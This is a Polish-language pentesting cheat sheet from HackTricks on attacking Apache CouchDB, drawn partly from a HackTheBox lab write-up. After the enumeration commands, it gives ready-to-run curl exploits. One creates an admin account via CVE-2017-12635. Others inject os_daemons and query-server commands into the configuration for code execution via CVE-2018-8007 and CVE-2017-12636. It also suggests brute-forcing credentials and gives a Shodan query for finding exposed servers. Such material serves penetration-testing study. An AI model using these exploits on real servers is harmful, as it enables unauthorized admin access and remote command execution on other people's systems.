18 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Podstawowe informacje
CouchDB to wszechstronna i potężna baza danych zorientowana na dokumenty, która organizuje dane za pomocą struktury mapy klucz-wartość w każdym dokumencie. Pola w dokumencie mogą być reprezentowane jako pary klucz/wartość, listy lub mapy, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
Każdemu dokumentowi przechowywanemu w CouchDB przypisywany jest unikalny identyfikator (_id
) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje numer rewizji (_rev
). Ten numer rewizji umożliwia efektywne śledzenie i zarządzanie zmianami, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
Domyślny port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatyczna enumeracja
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Ręczna enumeracja
Baner
curl http://IP:5984/
To wysyła żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej jak jedna z poniższych:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Zauważ, że jeśli uzyskując dostęp do głównego katalogu couchdb otrzymasz 401 Unauthorized
z czymś takim jak: {"error":"unauthorized","reason":"Authentication required."}
nie będziesz mógł uzyskać dostępu do banera ani żadnego innego punktu końcowego.
{% endhint %}
Info Enumeration
To są punkty końcowe, do których możesz uzyskać dostęp za pomocą żądania GET i wyodrębnić interesujące informacje. Możesz znaleźć więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb.
/_active_tasks
Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu./_all_dbs
Zwraca listę wszystkich baz danych w instancji CouchDB./_cluster_setup
Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra./_db_updates
Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych_global_changes
jest wymagane do korzystania z tego punktu końcowego./_membership
Wyświetla węzły, które są częścią klastra jakocluster_nodes
. Poleall_nodes
wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra./_scheduler/jobs
Lista zadań replikacji. Opis każdego zadania będzie zawierał informacje o źródle i celu, identyfikator replikacji, historię ostatnich zdarzeń i kilka innych rzeczy./_scheduler/docs
Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanachcompleted
ifailed
. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel oraz inne informacje./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Punkt końcowy/_node/{node-name}
może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne podczas uzyskiwania dostępu do/_node/_local
, aby uzyskać te informacje./_node/{node-name}/_stats
Zasób_stats
zwraca obiekt JSON zawierający statystyki dla działającego serwera. Literalny ciąg_local
służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk,{node-name}
może być zastąpione_local
, aby interagować ze statystykami lokalnego węzła./_node/{node-name}/_system
Zasób _system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu dla działającego serwera_._ Możesz użyć ___local
jako {node-name}, aby uzyskać informacje o bieżącym węźle./_node/{node-name}/_restart
/_up
Potwierdza, że serwer jest uruchomiony, działa i jest gotowy do odpowiadania na żądania. Jeślimaintenance_mode
jesttrue
lubnolb
, punkt końcowy zwróci odpowiedź 404./_uuids
Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB./_reshard
Zwraca liczbę zakończonych, nieudanych, uruchomionych, zatrzymanych i całkowitych zadań wraz z stanem reshardingu w klastrze.
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Jeśli ta prośba zwraca 401 nieautoryzowany, potrzebujesz ważnych poświadczeń, aby uzyskać dostęp do bazy danych:
curl -X GET http://user:password@IP:5984/_all_dbs
Aby znaleźć ważne dane logowania, możesz spróbować przeprowadzić atak brute force na usługę.
To jest przykład odpowiedzi couchdb, gdy masz wystarczające uprawnienia do wyświetlenia baz danych (to tylko lista baz danych):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Możesz uzyskać informacje o bazie danych (takie jak liczba plików i rozmiary) uzyskując dostęp do nazwy bazy danych:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista dokumentów
Wymień każdy wpis w bazie danych
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Przeczytaj dokument
Przeczytaj zawartość dokumentu w bazie danych:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Dzięki różnicom między parserami JSON w Erlangu i JavaScript możesz utworzyć użytkownika administratora z danymi uwierzytelniającymi hacktricks:hacktricks
za pomocą następującego żądania:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Więcej informacji na temat tej luki tutaj.
CouchDB RCE
Przegląd bezpieczeństwa ciasteczek Erlang
Przykład stąd.
W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra (link), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, port 5984
jest używany. Dodatkowo, port 5986
jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP 4369
dla Daemon Port Mapper Erlang (EPMD), ułatwiającego komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
Podkreślono istotne ostrzeżenie dotyczące portu 4369
. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko." To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, ciasteczko o nazwie "monster" może być obserwowane, co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz zbadać szczegółowy przewodnik na temat nadużywania ciasteczek Erlang dla RCE tutaj.
Wykorzystanie CVE-2018-8007 poprzez modyfikację local.ini
Przykład stąd.
Ostatnio ujawniona luka, CVE-2018-8007, wpływająca na Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku local.ini
. Chociaż nie jest to bezpośrednio stosowane do początkowego systemu docelowego z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku local.ini
w celach eksploracyjnych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, ilustrujące ten proces.
Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik local.ini
jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnień:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Aby wykorzystać lukę, wykonywana jest komenda curl, celując w konfigurację cors/origins
w local.ini
. To wstrzykuje nowy origin wraz z dodatkowymi komendami w sekcji [os_daemons]
, mając na celu wykonanie dowolnego kodu:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Następna weryfikacja pokazuje wstrzykniętą konfigurację w local.ini
, porównując ją z kopią zapasową, aby uwydatnić zmiany:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Początkowo oczekiwany plik (/tmp/0xdf
) nie istnieje, co wskazuje, że wstrzyknięte polecenie nie zostało jeszcze wykonane. Dalsze badania ujawniają, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie mógłby wykonać wstrzyknięte polecenie:
root@canape:/home/homer/bin# ps aux | grep couch
Poprzez zakończenie zidentyfikowanego procesu CouchDB i pozwolenie systemowi na automatyczne jego ponowne uruchomienie, wywoływana jest egzekucja wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
To badanie potwierdza wykonalność eksploatacji CVE-2018-8007 w określonych warunkach, szczególnie wymóg dostępu do zapisu do pliku local.ini
. Podane przykłady kodu i kroki proceduralne oferują jasny przewodnik do powtórzenia eksploatu w kontrolowanym środowisku.
Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z komunikatem mdsec: CVE-2018-8007.
Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini
Przykład stąd.
Zbadano lukę znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać lukę w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Aby dostosować się do wersji CouchDB 2.0, wykorzystuje się nową ścieżkę:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co zostało wskazane przez następujący wynik:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Dalsze śledztwo ujawniło problemy z uprawnieniami do pliku local.ini
, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku z dostępem root lub homer, stało się możliwe kontynuowanie:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the local.ini
file was confirmed through file comparison:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Proces kontynuowany był od utworzenia bazy danych i dokumentu, a następnie próby wykonania kodu za pomocą niestandardowego widoku mapującego do nowo dodanego serwera zapytań:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:
Shodan
port:5984 couchdb
Odniesienia
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.